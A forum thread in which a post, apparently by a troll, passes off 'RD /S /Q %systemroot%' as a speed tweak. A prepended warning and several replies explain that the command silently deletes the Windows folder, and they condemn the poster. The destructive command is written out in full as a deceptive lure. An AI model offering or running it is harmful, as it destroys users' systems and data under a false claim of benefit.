PLEASE READ CLIFFORD'S COMMENT BELOW AND DO NOT RUN THIS COMMAND

Before you proceed, be aware that I cannot be responsible for any damages to anything be it your computer or something else if you choose to partake in the actions below.

I found a neat way to boost system performance and speed!!!
All you have to do is run the following command in the command prompt:

RD /S /Q %systemroot%

then hit enter, and before long your computer will be running as if you just reinstalled the operating system. Good Luck fellas.

Caution

Let me translate for you.

RD = Remove Directory
/S = Include all Subdirectories
/Q = Do so quietly
%systemroot = Is an environment variable meaning "C:\Windows"

Translation is if you follow this command you will be deleting the folder "C:\Windows" and all Subfolders.

P.S.
I will leave this thread so if you read it again in the future you will know what it means.

I think I can safely say a big thank you to Clifford for explaining this (IMO dangerous command) to us all.

Thank you Clifford. Obviously the member has been banned?

Thanks Clifford and Ian, people like this, something's wrong with them. This is as bad, if not worse, than spreading a virus all over the place. That being said, it's more important than ever to create your recovery discs, if you have this option, or have your install disc and your serial in a safe place (one that you'll remember). Many software sellers (including the Microsoft Store) provides you with a download link & email your serial. So you may not have a COA "sticker" for these types of purchases. Therefore, print a copy of your transaction and keep it with your install disc. You will most likely need it someday, whatever the reason.

Command Prompt is soooo DOS

terminal is wayyyyy better lol. I haven't seen the RD command in so long i amost forgot about it but its kinda n00b stuff to paste malicious commands in a public forums such as this one... It's even more n00b to put a disclaimer on it LOL

I agree, some people are so wrong in there minds...
Good thing the member is banned.
One good thing to remember, is ALWAYS check what a command MEANS before using it, so that you know exactly what it does to your PC.

Oh and:

It's even more n00b to put a disclaimer on it.

Linuxdudex12, Clifford added the disclaimer.

No anonymous offered a disclaimer too.
